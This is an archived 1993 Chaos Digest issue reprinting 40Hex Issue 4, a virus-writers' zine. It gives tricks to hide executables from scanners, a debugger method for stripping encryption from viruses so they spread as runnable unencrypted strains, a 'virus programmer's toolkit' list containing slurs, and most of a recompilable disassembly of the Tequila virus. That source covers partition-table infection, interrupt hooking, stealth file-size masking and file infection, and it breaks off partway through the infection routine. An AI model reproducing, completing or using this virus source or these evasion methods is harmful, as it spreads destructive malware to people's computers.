home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / KAOS1_43.ZIP / KAOS1-43
Text File  |  1993-06-02  |  29KB  |  1,110 lines

  1. Chaos Digest              Mercredi 2 Juin 1993        Volume 1 : Numero 43
  2.                              ISSN 1244-4901
  3.  
  4.        Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
  5.        Archiviste: Yves-Marie Crabbe
  6.        Co-Redacteurs: Arnaud Bigare, Stephane Briere
  7.  
  8. TABLE DES MATIERES, #1.43 (2 Juin 1993)
  9. File 1--40H VMag Issue 1 Volume 4 #009-012(1) (reprint)
  10.  
  11. Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
  12. available at no cost by sending a message to:
  13.                 linux-activists-request@niksula.hut.fi
  14. with a mail header or first line containing the following informations:
  15.                     X-Mn-Admin: join CHAOS_DIGEST
  16.  
  17. The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
  18. or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
  19. 155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
  20. groups.
  21.  
  22. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
  23. 466893.  Back issues of ChaosD can be found on the Internet as part of the
  24. Computer underground Digest archives. They're accessible using anonymous FTP:
  25.  
  26.         * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
  27.         * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
  28.         * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
  29.         * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
  30.         * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
  31.         * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
  32.         * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
  33.         * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
  34.  
  35. CHAOS DIGEST is an open forum dedicated to sharing French information among
  36. computerists and to the presentation and debate of diverse views. ChaosD
  37. material may be reprinted for non-profit as long as the source is cited.
  38. Some authors do copyright their material, and they should be contacted for
  39. reprint permission.  Readers are encouraged to submit reasoned articles in
  40. French, English or German languages relating to computer culture and
  41. telecommunications.  Articles are preferred to short responses.  Please
  42. avoid quoting previous posts unless absolutely necessary.
  43.  
  44. DISCLAIMER: The views represented herein do not necessarily represent
  45.             the views of the moderators. Chaos Digest contributors
  46.             assume all responsibility for ensuring that articles
  47.             submitted do not violate copyright protections.
  48.  
  49. ----------------------------------------------------------------------
  50.  
  51. Date: Tue May 11 09:24:40 PDT 1993
  52. From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
  53. Subject: File 1--40H VMag Issue 1 Volume 4 #009-012(1) (reprint)
  54.  
  55.  
  56. 40Hex Issue 4                                            December 1991
  57.  
  58.                       Hacked Pklite File Scanning
  59.                       +++++++++++++++++++++++++++
  60.  
  61.    In issue two, i belive it was.  I release a method of making Pklite
  62.    files un-uncompressable and un-detectable.  Well seems a few people
  63.    used the trick for wrong doing.  What do I mean by wrong doing you
  64.    ask?  Well lets just say lame trojans and such.
  65.  
  66.    Anyway, I had a few sysops on my ass about the trick and so, so now I
  67.    am must release.... The hacked Pklite scanning strings.   Well I
  68.    could really give a fuck if someones BBS gets crashed, but then again
  69.    I am freinds with a lot of sysops.  And besides I have a new trick
  70.    anyway :)
  71.  
  72.    Well there are two strings.  One for .EXE files and one for .COM
  73.    files.  And here they are.
  74.  
  75. +----------------------------------------------------------------------
  76.  
  77.    "01 F0 FF 50 00 00 00 03 01" Pklite EXE
  78.    "53 33 DB 53 CB 03 01"       Pklite COM
  79.  
  80. +----------------------------------------------------------------------
  81.  
  82. What's my new trick???  Well I won't reveal it at this point... But here
  83. is a another compression trick.  It lets you compress a file with Pklite
  84. then again with LZExe.
  85.  
  86. First
  87. +----
  88.  
  89. Compress the file with Pklite
  90.  
  91. Next
  92. +---
  93.  
  94. Compress the file with LZExe
  95.  
  96. It wont let you cause the file becomes bigger...
  97.  
  98. But
  99. +--
  100.  
  101. Use the DOS Undelete function to undelete the file ?zexe.tmp.  Thats the
  102. twice compressed file.  Rename it to what you want.  Destroy the LZ
  103. header... And there you have it...
  104.  
  105. +++++
  106.  
  107. 40Hex Issue 4                                            December 1991
  108.  
  109.              A Further Look Into Cracking Encrypted Virues
  110.              +++++++++++++++++++++++++++++++++++++++++++++
  111.  
  112.  
  113. In Censor #1, Rabids' Data Disruptor showed a way to decrypt
  114. encrypted viruses.  The only problem with the method shown is that
  115. once you decrypt the virus, it cannot be run without modification.
  116. I wish to take his theory a little farther, with a different approch.
  117.  
  118. There is a really simple way around the problem.  What you will
  119. need is a debugger.  I perfer Turbo Debugger, by Borland.  However
  120. if you are good at the DOS utility Debug, you may be able to follow along.
  121.  
  122. The routine to unencrypt is simple, really simple.  What you will
  123. need to do is make a small target file for the virus to infect.  A
  124. 100 byte of less file is perfered.
  125.  
  126. Step One
  127. +-------
  128.  
  129. Copy the target file to a different filename to make two copies of
  130. the file.  Example - COPY TARGET.COM DUDE.COM
  131.  
  132. Step Two
  133. +-------
  134.  
  135. Infect one of the files, however the virus infectes the file.
  136. Remember just infect one of the files.
  137.  
  138. Step Three
  139. +---------
  140.  
  141. Load up you dubugger (I'm gonna give Turbo Debugger steps, so people
  142. with Debug and the Microsoft Debugger will have to improvise) and
  143. get ready to single step through the virus.
  144.  
  145. Step Four
  146. +--------
  147.  
  148. Start single stepping through the virus.  If the virus is encrypted
  149. you will hit a loop somwhere near the beginning of the code.   In
  150. most cases this is an XOR loop.  It will look something like this...
  151.  
  152. add si, [1234]
  153. mov di, si
  154. mov cx, 0123      ;this would be the virus size to unencrypt
  155. mov al, [0105]    ;this is the encryption value's offset or the
  156.                   ;actual encryption value if no brackets are
  157.                   ;around it
  158. cli               ;auto increment
  159. lodsb             ;load byte from si position
  160. xor ah, al        ;xor byte at si
  161. stosb             ;store it a di (same as si)
  162. loop 0110         ;loop until cx=0 NOTE: 0110 will be an offset
  163. ret               ;return when done
  164.  
  165. Where the "*" is, will be either the location of the encryption
  166. value, or the actual encryption value if no brackets are around it.
  167. If there are no brackets, keep that number in mind.  Otherwise write
  168. the offset down.
  169.  
  170. Step Five
  171. +--------
  172.  
  173. When the encryption procedure is done the virus is then unencrypted.
  174. If you were to write the virus to disk now, it would not run.  Cause
  175. as soon as the virus runs it encrypts itself and then jumps into the
  176. encrypted code.
  177.  
  178. Follow the program to the part where the virus is about to write the
  179. virus to the host program.  It will again call on the encryption
  180. routine.
  181.  
  182. Here it is again, but this time, before it XORs anything load the
  183. encryption value with 0's.  If it is a bytes value load it with 00,
  184. if it is a word value load it with 0000 as in...
  185.  
  186.  
  187. add si, [1234]
  188. mov di, si
  189. mov cx, 0123      ;this would be the virus size to unencrypt
  190. mov al, 00        ;change the encryption value to zero, thus the
  191.                   ;encryption will not take place at all.  Instead
  192.                   ;the virus will produce an original strain.
  193. cli               ;auto increment
  194. lodsb             ;load byte from si position
  195. xor ah, al        ;xor byte at si
  196. stosb             ;store it a di (same as si)
  197. loop 0110         ;loop until cx=0 NOTE: 0110 will be an offset
  198. ret               ;return when done
  199.  
  200. Now run the program at full speed.  The next file the virus infects
  201. will be unencrypted, and executable.
  202.  
  203. NOTE: This method will work only for the types of viruses that use
  204. this type of encryption.  Mainly non-resident .COM and .EXE
  205. infectors.  In other words, don't go thinking this trick will work
  206. on Whale or anything.
  207.  
  208. +++++
  209.  
  210. 40Hex Issue 4                                            December 1991
  211.  
  212.                  The Ultimate Virus Programmers Toolkit
  213.                  ++++++++++++++++++++++++++++++++++++++
  214.  
  215. Just thought it would be funny to list what I think is the ulitmate virus
  216. programmers toolkit.  Theroys may vary.
  217.  
  218. - Turbo Assembler (MASM sucks, and it is slow)
  219. - Turbo Debugger (It rules, what else can I say?)
  220. - Quick Edit (Small, Fast and Turbo-like keys)
  221. - Sourcer 486 (The ONLY real dissembler out)
  222. - Virus Scan by McAffe Asst. (It really is a great tool)
  223. - VSUM (Patti Hoffman is a stupid bitch, but I must admit, this
  224.         program is the virus underground bible)
  225. - VSAFE from Central Point Anti-Virus (Not as annoying as Flu-Shot)
  226. - Pklite Proffesional (If you don't have it - get it)
  227. - Norton 6.0 (Diskedit alone is worth the d/l time)
  228. - Pc-Backup by Central Point (we all fuck up sooner or later)
  229. - MEMWALK.EXE (great shareware program, like diskedit for memory)
  230. - Teledisk (for boot block virus saves)
  231. - Trunc - by Skism Programming (Electronic file shredder)
  232. - Microsoft Press Quick Reference Series
  233.            - DOS Functions  (INT 20 - 26)
  234.            - ROM and BIOS functions (INT 10, 15 - 16)
  235.            - MS DOS extentions (Expaned, extended memory interupts)
  236. - _Undocumented DOS_ or any current text file on the subject-
  237. - 40HEX magazine (Well I do have good stuff here, sometimes)
  238. - Dark Angel's Phunky Virus writing guide (pretty hard to come by.
  239.                                            He expalins stuff well)
  240. - The following source code
  241.            - Leprosy-B (beginers only on this one, none-the-less)
  242.            - Cancer (well documented, intermediate)
  243.            - Tiny-F (not bad intro to .COM infections)
  244.            - Dark Avenger (well availible and excellent tips on .EXE
  245.                            infection)
  246.            - Stoned II (boot block intro)
  247.            - Secure 2.0 (I got the source to this.  It is a virus
  248.                          detection system from the guy who wrote
  249.                          1260, Mark Washburn.  The source has some
  250.                          great examples on debug trapping, TSR
  251.                          skills, and encryption)
  252.            - IBM Scan source (I have this too, it's funny... Kinda
  253.                               like McAfee's SCAN but lamer.  By
  254.                               David Chess)
  255. - An account on the Bulgerian Virus Exchange +359-220-4198
  256. - An account on a BBS with Fido-Nets' virus echo (keep track of your
  257.                                                  latest score)
  258. - Many accounts on the Homebase BBS (408) 988-4004 2400 bps
  259.                                     (408) 988-5138 HST 9600
  260.                                     (408) 988-5190 v32 9600
  261.   (Tell Areyh I sent ya')
  262. - Scientific Calculator (Hex aint easy)
  263. - Vivaren (Helps you break night, or any other controlled substance)
  264. - Food, smokes, or whatever your vice is...
  265.  
  266.  
  267. That'll do it...
  268.  
  269. +++++
  270.  
  271. 40Hex Issue 4                                            December 1991
  272.  
  273.                        The Tequila Virus Source
  274.                        ++++++++++++++++++++++++
  275.  
  276.     Nuff' said.
  277.  
  278. ----------------------------------------------------------------------------
  279.                    ;=============================
  280.                    ;      the tequila virus     =
  281.                    ;        a recompilable      =
  282.                    ;         dis-assembly       =
  283.                    ;    specifically designed   =
  284.                    ; for assembly to a COM file =
  285.                    ;  with the A86 assembler.   =
  286.                    ;     ++++++++++++++++++     =
  287.                    ; If you desire a "perfect"  =
  288.                    ; byte for byte source code  =
  289.                    ;match-up, the MASM assembler=
  290.                    ; must be used and the noted =
  291.                    ;instructions must be changed=
  292.                    ; to comply with MASM syntax.=
  293.                    ; In addition, all byte and  =
  294.                    ;word pointer references must=
  295.                    ; be changed from B and W to =
  296.                    ;   BYTE POINTER and WORD    =
  297.                    ;          POINTER.          =
  298.                    ;=============================
  299.  
  300.  
  301. CODE_SEG   SEGMENT
  302. ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
  303. ORG 0100
  304. TEQUILA PROC NEAR
  305.  
  306. JMP START
  307.  
  308.   DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
  309.   DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH
  310.  
  311.   DB 00DH, 00AH, 00DH, 00AH
  312.   DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
  313.   DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
  314.   DB "Switzerland.", 00DH, 00AH
  315.   DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
  316.   DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
  317.   DB "$"
  318.  
  319.   DB "Execute: mov ax, FE03 / int 21. Key to go on!"
  320.  
  321.  
  322. PROGRAM_TERMINATION_ROUTINE:
  323.    PUSH BP
  324.    MOV BP,SP
  325.    SUB SP,0CH
  326.    PUSH AX
  327.    PUSH BX
  328.    PUSH CX
  329.    PUSH DX
  330.    PUSH SI
  331.    PUSH DI
  332.    PUSH ES
  333.    PUSH DS
  334.    PUSH CS
  335.    POP DS
  336.    MOV AX,W[6]
  337.    INC AX
  338.    JE 0243H            ;Masm Mod. Needed
  339.    DEC AX
  340.    JNE 020DH           ;Masm Mod. Needed
  341.    DEC W[8]            ;Masm Mod. Needed
  342.    JNE 0243H           ;Masm Mod. Needed
  343.    JMP 0246H           ;Masm Mod. Needed
  344.    MOV AH,02AH
  345.    CALL INT_21
  346.    MOV SI,CX
  347.    MOV CX,W[8]
  348.    CMP CL,DL
  349.    JNE 022FH           ;Masm Mod. Needed
  350.    MOV AX,SI
  351.    SUB AX,W[6]
  352.    MUL B[011H]         ;Masm Mod. Needed
  353.    ADD AL,DH
  354.    ADD CH,3
  355.    CMP AL,CH
  356.    JAE 0237H           ;Masm Mod. Needed
  357.    MOV W[6],0FFFFH     ;Masm Mod. Needed
  358.    JMP 0243H           ;Masm Mod. Needed
  359.    MOV W[6],0          ;Masm Mod. Needed
  360.    MOV W[8],3          ;Masm Mod. Needed
  361.    JMP 02DF            ;Masm Mod. Needed
  362.    MOV BX,0B800H
  363.    INT 011
  364.    AND AX,030H
  365.    CMP AX,030H
  366.    JNE 0256H           ;Masm Mod. Needed
  367.    MOV BX,0B000H
  368.    MOV ES,BX
  369.    XOR BX,BX
  370.    MOV DI,0FD8FH
  371.    MOV SI,0FC18H
  372.    MOV W[BP-2],SI
  373.    MOV W[BP-4],DI
  374.    MOV CX,01E
  375.    MOV AX,W[BP-2]
  376.    IMUL AX
  377.    MOV W[BP-8],AX
  378.    MOV W[BP-6],DX
  379.    MOV AX,W[BP-4]
  380.    IMUL AX
  381.    MOV W[BP-0C],AX
  382.    MOV W[BP-0A],DX
  383.    ADD AX,W[BP-8]
  384.    ADC DX,W[BP-6]
  385.    CMP DX,0F
  386.    JAE 02B0            ;Masm Mod. Needed
  387.    MOV AX,W[BP-2]
  388.    IMUL W[BP-4]
  389.    IDIV W[0F]          ;Masm Mod. Needed
  390.    ADD AX,DI
  391.    MOV W[BP-4],AX
  392.    MOV AX,W[BP-8]
  393.    MOV DX,W[BP-6]
  394.    SUB AX,W[BP-0C]
  395.    SBB DX,W[BP-0A]
  396.    IDIV W[0D]          ;Masm Mod. Needed
  397.    ADD AX,SI
  398.    MOV W[BP-2],AX
  399.    LOOP 0269           ;Masm Mod. Needed
  400.    INC CX
  401.    SHR CL,1
  402.    MOV CH,CL
  403.    MOV CL,0DB
  404.    ES MOV W[BX],CX     ;Masm Mod. Needed
  405.    INC BX
  406.    INC BX
  407.    ADD SI,012
  408.    CMP SI,01B8
  409.    JL 0260             ;Masm Mod. Needed
  410.    ADD DI,034
  411.    CMP DI,02A3
  412.    JL 025D             ;Masm Mod. Needed
  413.    XOR DI,DI
  414.    MOV SI,0BB
  415.    MOV CX,02D
  416.    CLD
  417.    MOVSB
  418.    INC DI
  419.    LOOP 02D7           ;Masm Mod. Needed
  420.    XOR AX,AX
  421.    INT 016
  422.    POP DS
  423.    POP ES
  424.    POP DI
  425.    POP SI
  426.    POP DX
  427.    POP CX
  428.    POP BX
  429.    POP AX
  430.    MOV SP,BP
  431.    POP BP
  432.    RET
  433.  
  434. PRINT_MESSAGE:
  435.    PUSH DX
  436.    PUSH DS
  437.    PUSH CS
  438.    POP DS
  439.    MOV AH,9
  440.    MOV DX,012
  441.    CALL INT_21
  442.    POP DS
  443.    POP DX
  444.    RET
  445.  
  446. NEW_PARTITION_TABLE:
  447.    CLI
  448.    XOR BX,BX
  449.    MOV DS,BX
  450.    MOV SS,BX
  451.    MOV SP,07C00
  452.    STI
  453.    XOR DI,DI
  454.    SUB W[0413],3            ;Masm Mod. Needed
  455.    INT 012
  456.    MOV CL,6
  457.    SHL AX,CL
  458.    MOV ES,AX
  459.    PUSH ES
  460.    MOV AX,022A
  461.    PUSH AX
  462.    MOV AX,0205
  463.    MOV CX,W[07C30]
  464.    INC CX
  465.    MOV DX,W[07C32]
  466.    INT 013
  467.    RETF
  468.  
  469. DB 002, 0FE
  470. DB 04C, 0E9
  471. DB 080, 004
  472.  
  473.    PUSH CS
  474.    POP DS
  475.    XOR AX,AX
  476.    MOV ES,AX
  477.    MOV BX,07C00
  478.    PUSH ES
  479.    PUSH BX
  480.    MOV AX,0201
  481.    MOV CX,W[0226]
  482.    MOV DX,W[0228]
  483.    INT 013
  484.    PUSH CS
  485.    POP ES
  486.    CLD
  487.    MOV SI,0409
  488.    MOV DI,09BE
  489.    MOV CX,046
  490.    REP MOVSB
  491.    MOV SI,091B
  492.    MOV DI,0A04
  493.    MOV CX,045
  494.    REP MOVSB
  495.    CLI
  496.    XOR AX,AX
  497.    MOV ES,AX
  498.    ES LES BX,[070]           ;Masm Mod. Needed
  499.    MOV W[09B0],BX            ;Masm Mod. Needed
  500.    MOV W[09B2],ES            ;Masm Mod. Needed
  501.    MOV ES,AX
  502.    ES LES BX,[084]           ;Masm Mod. Needed
  503.    MOV W[09B4],BX            ;Masm Mod. Needed
  504.    MOV W[09B6],ES            ;Masm Mod. Needed
  505.    MOV ES,AX
  506.    ES MOV W[070],044F        ;Masm Mod. Needed
  507.    ES MOV W[072],DS          ;Masm Mod. Needed
  508.    STI
  509.    RETF
  510.  
  511. INSTALL:
  512.    CALL NEXT_LINE
  513.  NEXT_LINE:
  514.    POP SI
  515.    SUB SI,028F
  516.    PUSH SI
  517.    PUSH AX
  518.    PUSH ES
  519.    PUSH CS
  520.    POP DS
  521.    MOV AX,ES
  522.    ADD W[SI+2],AX
  523.    ADD W[SI+4],AX
  524.    DEC AX
  525.    MOV ES,AX
  526.    MOV AX,0FE02
  527.    INT 021
  528.    CMP AX,01FD
  529.    JE NO_PARTITION_INFECTION
  530.    ES CMP B[0],05A           ;Masm Mod. Needed
  531.    JNE NO_PARTITION_INFECTION
  532.    ES CMP W[3],0BB           ;Masm Mod. Needed
  533.    JBE NO_PARTITION_INFECTION
  534.    ES MOV AX,W[012]          ;Masm Mod. Needed
  535.    SUB AX,0BB
  536.    MOV ES,AX
  537.    XOR DI,DI
  538.    MOV CX,09A4
  539.    CLD
  540.    REP MOVSB
  541.    PUSH ES
  542.    POP DS
  543.    CALL INFECT_PARTITION_TABLE
  544.  NO_PARTITION_INFECTION:
  545.    POP ES
  546.    POP AX
  547.    PUSH ES
  548.    POP DS
  549.    POP SI
  550.    CS MOV SS,W[SI+4]         ;Masm Mod. Needed
  551.  CHAIN_TO_THE_HOST_FILE:
  552.    CS JMP D[SI]              ;Masm Mod. Needed
  553.  
  554. INFECT_PARTITION_TABLE:
  555.    MOV AH,02A
  556.    INT 021
  557.    MOV W[6],CX               ;Masm Mod. Needed
  558.    MOV W[8],DX               ;Masm Mod. Needed
  559.    MOV AH,052
  560.    INT 021
  561.    ES MOV AX,W[BX-2]         ;Masm Mod. Needed
  562.    MOV W[03E8],AX            ;Masm Mod. Needed
  563.    MOV AX,03513
  564.    INT 021
  565.    MOV W[09A0],BX            ;Masm Mod. Needed
  566.    MOV W[09A2],ES            ;Masm Mod. Needed
  567.    MOV AX,03501
  568.    INT 021
  569.    MOV SI,BX
  570.    MOV DI,ES
  571.    MOV AX,02501
  572.    MOV DX,03DA
  573.    INT 021
  574.    MOV B[0A],0               ;Masm Mod. Needed
  575.    PUSHF
  576.    POP AX
  577.    OR AX,0100
  578.    PUSH AX
  579.    POPF
  580.    MOV AX,0201
  581.    MOV BX,09A4
  582.    MOV CX,1
  583.    MOV DX,080
  584.    PUSH DS
  585.    POP ES
  586.    PUSHF
  587.    CALL D[09A0]              ;Masm Mod. Needed
  588.    PUSHF
  589.    POP AX
  590.    AND AX,0FEFF
  591.    PUSH AX
  592.    POPF
  593.    PUSHF
  594.    MOV AX,02501
  595.    MOV DX,SI
  596.    MOV DS,DI
  597.    INT 021
  598.    POPF
  599.    JAE 0450                  ;Masm Mod. Needed
  600.    JMP RET                   ;Masm Mod. Needed
  601.    PUSH ES
  602.    POP DS
  603.    CMP W[BX+02E],0FE02
  604.    JNE 045C                  ;Masm Mod. Needed
  605.    JMP RET                   ;Masm Mod. Needed
  606.    ADD BX,01BE
  607.    MOV CX,4
  608.    MOV AL,B[BX+4]
  609.    CMP AL,4
  610.    JE 0479                   ;Masm Mod. Needed
  611.    CMP AL,6
  612.    JE 0479                   ;Masm Mod. Needed
  613.    CMP AL,1
  614.    JE 0479                   ;Masm Mod. Needed
  615.    ADD BX,010
  616.    LOOP 0463                 ;Masm Mod. Needed
  617.    JMP SHORT RET             ;Masm Mod. Needed
  618.    MOV DL,080
  619.    MOV DH,B[BX+5]
  620.    MOV W[0228],DX            ;Masm Mod. Needed
  621.    MOV AX,W[BX+6]
  622.    MOV CX,AX
  623.    MOV SI,6
  624.    AND AX,03F
  625.    CMP AX,SI
  626.    JBE RET                   ;Masm Mod. Needed
  627.    SUB CX,SI
  628.    MOV DI,BX
  629.    INC CX
  630.    MOV W[0226],CX            ;Masm Mod. Needed
  631.    MOV AX,0301
  632.    MOV BX,09A4
  633.    PUSHF
  634.    CALL D[09A0]              ;Masm Mod. Needed
  635.    JB RET                    ;Masm Mod. Needed
  636.    DEC CX
  637.    MOV W[DI+6],CX
  638.    INC CX
  639.    SUB W[DI+0C],SI
  640.    SBB W[DI+0E],0
  641.    MOV AX,0305
  642.    MOV BX,0
  643.    INC CX
  644.    PUSHF
  645.    CALL D[09A0]              ;Masm Mod. Needed
  646.    JB RET                    ;Masm Mod. Needed
  647.    MOV SI,01F6
  648.    MOV DI,09A4
  649.    MOV CX,034
  650.    CLD
  651.    REP MOVSB
  652.    MOV AX,0301
  653.    MOV BX,09A4
  654.    MOV CX,1
  655.    XOR DH,DH
  656.    PUSHF
  657.    CALL D[09A0]              ;Masm Mod. Needed
  658.    RET
  659.  
  660. NEW_INTERRUPT_ONE:
  661.    PUSH BP
  662.    MOV BP,SP
  663.    CS CMP B[0A],1            ;Masm Mod. Needed
  664.    JE 0506                   ;Masm Mod. Needed
  665.    CMP W[BP+4],09B4
  666.    JA 050B                   ;Masm Mod. Needed
  667.    PUSH AX
  668.    PUSH ES
  669.    LES AX,[BP+2]
  670.    CS MOV W[09A0],AX         ;Masm Mod. Needed
  671.    CS MOV W[09A2],ES         ;Masm Mod. Needed
  672.    CS MOV B[0A],1
  673.    POP ES
  674.    POP AX
  675.    AND W[BP+6],0FEFF
  676.    POP BP
  677.    IRET
  678.  
  679. NEW_INTERRUPT_13:
  680.    CMP CX,1
  681.    JNE 054E                  ;Masm Mod. Needed
  682.    CMP DX,080
  683.    JNE 054E                  ;Masm Mod. Needed
  684.    CMP AH,3
  685.    JA 054E                   ;Masm Mod. Needed
  686.    CMP AH,2
  687.    JB 054E                   ;Masm Mod. Needed
  688.    PUSH CX
  689.    PUSH DX
  690.    DEC AL
  691.    JE 0537                   ;Masm Mod. Needed
  692.    PUSH AX
  693.    PUSH BX
  694.    ADD BX,0200
  695.    INC CX
  696.    PUSHF
  697.    CS CALL D[09A0]           ;Masm Mod. Needed
  698.    POP BX
  699.    POP AX
  700.    MOV AL,1
  701.    CS MOV CX,W[0226]         ;Masm Mod. Needed
  702.    CS MOV DX,W[0228]         ;Masm Mod. Needed
  703.    PUSHF
  704.    CS CALL D[09A0]           ;Masm Mod. Needed
  705.    POP DX
  706.    POP CX
  707.    RETF 2
  708.    CS JMP D[09A0]            ;Masm Mod. Needed
  709.  
  710. NEW_TIMER_TICK_INTERRUPT:
  711.    PUSH AX
  712.    PUSH BX
  713.    PUSH ES
  714.    PUSH DS
  715.    XOR AX,AX
  716.    MOV ES,AX
  717.    PUSH CS
  718.    POP DS
  719.    ES LES BX,[084]           ;Masm Mod. Needed
  720.    MOV AX,ES
  721.    CMP AX,0800
  722.    JA 05B0                   ;Masm Mod. Needed
  723.    CMP AX,W[09B6]
  724.    JNE 0575                  ;Masm Mod. Needed
  725.    CMP BX,W[09B4]
  726.    JE 05B0                   ;Masm Mod. Needed
  727.    MOV W[09B4],BX            ;Masm Mod. Needed
  728.    MOV W[09B6],ES            ;Masm Mod. Needed
  729.    XOR AX,AX
  730.    MOV DS,AX
  731.    CS LES BX,[09B0]          ;Masm Mod. Needed
  732.    MOV W[070],BX             ;Masm Mod. Needed
  733.    MOV W[072],ES             ;Masm Mod. Needed
  734.    LES BX,[04C]              ;Masm Mod. Needed
  735.    CS MOV W[09A0],BX         ;Masm Mod. Needed
  736.    CS MOV W[09A2],ES         ;Masm Mod. Needed
  737.    MOV W[04C],09BE           ;Masm Mod. Needed
  738.    MOV W[04E],CS             ;Masm Mod. Needed
  739.    MOV W[084],04B1           ;Masm Mod. Needed
  740.    MOV W[086],CS             ;Masm Mod. Needed
  741.    POP DS
  742.    POP ES
  743.    POP BX
  744.    POP AX
  745.    IRET
  746.  
  747. INT_21_INTERCEPT:
  748.    CMP AH,011
  749.    JB CHECK_FOR_HANDLE
  750.    CMP AH,012
  751.    JA CHECK_FOR_HANDLE
  752.    CALL ADJUST_FCB_MATCHES
  753.    RETF 2
  754.  CHECK_FOR_HANDLE:
  755.    CMP AH,04E
  756.    JB CHECK_FOR_PREVIOUS_INSTALLATION
  757.    CMP AH,04F
  758.    JA CHECK_FOR_PREVIOUS_INSTALLATION
  759.    CALL ADJUST_HANDLE_MATCHES
  760.    RETF 2
  761.  CHECK_FOR_PREVIOUS_INSTALLATION:
  762.    CMP AX,0FE02
  763.    JNE CHECK_FOR_MESSAGE_PRINT
  764.    NOT AX
  765.    IRET
  766.  CHECK_FOR_MESSAGE_PRINT:
  767.    CMP AX,0FE03
  768.    JNE CHECK_FOR_EXECUTE
  769.    CS CMP W[6],0             ;Masm Mod. Needed
  770.    JNE CHAIN_TO_TRUE_INT_21
  771.    CALL PRINT_MESSAGE
  772.    IRET
  773.  CHECK_FOR_EXECUTE:
  774.    CMP AX,04B00
  775.    JE SET_STACK
  776.    CMP AH,04C
  777.    JNE CHAIN_TO_TRUE_INT_21
  778.  SET_STACK:
  779.    CS MOV W[09A6],SP         ;Masm Mod. Needed
  780.    CS MOV W[09A8],SS         ;Masm Mod. Needed
  781.    CLI
  782.    PUSH CS
  783.    POP SS
  784.    MOV SP,0AE5
  785.    STI
  786.    CMP AH,04C
  787.    JNE TO_AN_INFECTION
  788.    CALL PROGRAM_TERMINATION_ROUTINE
  789.    JMP SHORT NO_INFECTION
  790.  TO_AN_INFECTION:
  791.    CALL INFECT_THE_FILE
  792.  NO_INFECTION:
  793.    CLI
  794.    CS MOV SS,W[09A8]         ;Masm Mod. Needed
  795.    CS MOV SP,W[09A6]         ;Masm Mod. Needed
  796.    STI
  797.    JMP SHORT CHAIN_TO_TRUE_INT_21
  798.  CHAIN_TO_TRUE_INT_21:
  799.    CS INC W[09BC]            ;Masm Mod. Needed
  800.    CS JMP D[09B4]            ;Masm Mod. Needed
  801.  
  802. NEW_CRITICAL_ERROR_HANDLER:
  803.    MOV AL,3
  804.    IRET
  805.  
  806. ADJUST_FCB_MATCHES:
  807.    PUSH BX
  808.    PUSH ES
  809.    PUSH AX
  810.    MOV AH,02F
  811.    CALL INT_21
  812.    POP AX
  813.    PUSHF
  814.    CS CALL D[09B4]           ;Masm Mod. Needed
  815.    PUSHF
  816.    PUSH AX
  817.    CMP AL,0FF
  818.    JE 0664                   ;Masm Mod. Needed
  819.    ES CMP B[BX],0FF          ;Masm Mod. Needed
  820.    JNE 064F                  ;Masm Mod. Needed
  821.    ADD BX,7
  822.    ES MOV AL,B[BX+017]       ;Masm Mod. Needed
  823.    AND AL,01F
  824.    CMP AL,01F
  825.    JNE 0664                  ;Masm Mod. Needed
  826.    ES SUB W[BX+01D],09A4     ;Masm Mod. Needed
  827.    ES SBB W[BX+01F],0        ;Masm Mod. Needed
  828.    POP AX
  829.    POPF
  830.    POP ES
  831.    POP BX
  832.    RET
  833.  
  834. ADJUST_HANDLE_MATCHES:
  835.    PUSH BX
  836.    PUSH ES
  837.    PUSH AX
  838.    MOV AH,02F
  839.    CALL INT_21
  840.    POP AX
  841.    PUSHF
  842.    CS CALL D[09B4]           ;Masm Mod. Needed
  843.    PUSHF
  844.    PUSH AX
  845.    JB 0691                   ;Masm Mod. Needed
  846.    ES MOV AL,B[BX+016]       ;Masm Mod. Needed
  847.    AND AL,01F
  848.    CMP AL,01F
  849.    JNE 0691                  ;Masm Mod. Needed
  850.    ES SUB W[BX+01A],09A4     ;Masm Mod. Needed
  851.    ES SBB W[BX+01C],0        ;Masm Mod. Needed
  852.    POP AX
  853.    POPF
  854.    POP ES
  855.    POP BX
  856.    RET
  857.  
  858. WRITE_TO_THE_FILE:
  859.    MOV AH,040
  860.    JMP 069C                  ;Masm Mod. Needed
  861.  
  862. READ_FROM_THE_FILE:
  863.    MOV AH,03F
  864.    CALL 06B4                 ;Masm Mod. Needed
  865.    JB RET                    ;Masm Mod. Needed
  866.    SUB AX,CX
  867.    RET
  868.  
  869. MOVE_TO_END_OF_FILE:
  870.    XOR CX,CX
  871.    XOR DX,DX
  872.    MOV AX,04202
  873.    JMP 06B4                  ;Masm Mod. Needed
  874.  
  875. MOVE_TO_BEGINNING_OF_FILE:
  876.    XOR CX,CX
  877.    XOR DX,DX
  878.    MOV AX,04200
  879.    CS MOV BX,W[09A4]         ;Masm Mod. Needed
  880.  
  881. INT_21:
  882.    CLI
  883.    PUSHF
  884.    CS CALL D[09B4]           ;Masm Mod. Needed
  885.    RET
  886.  
  887. INFECT_THE_FILE:
  888.    PUSH AX
  889.    PUSH BX
  890.    PUSH CX
  891.    PUSH DX
  892.    PUSH SI
  893.    PUSH DI
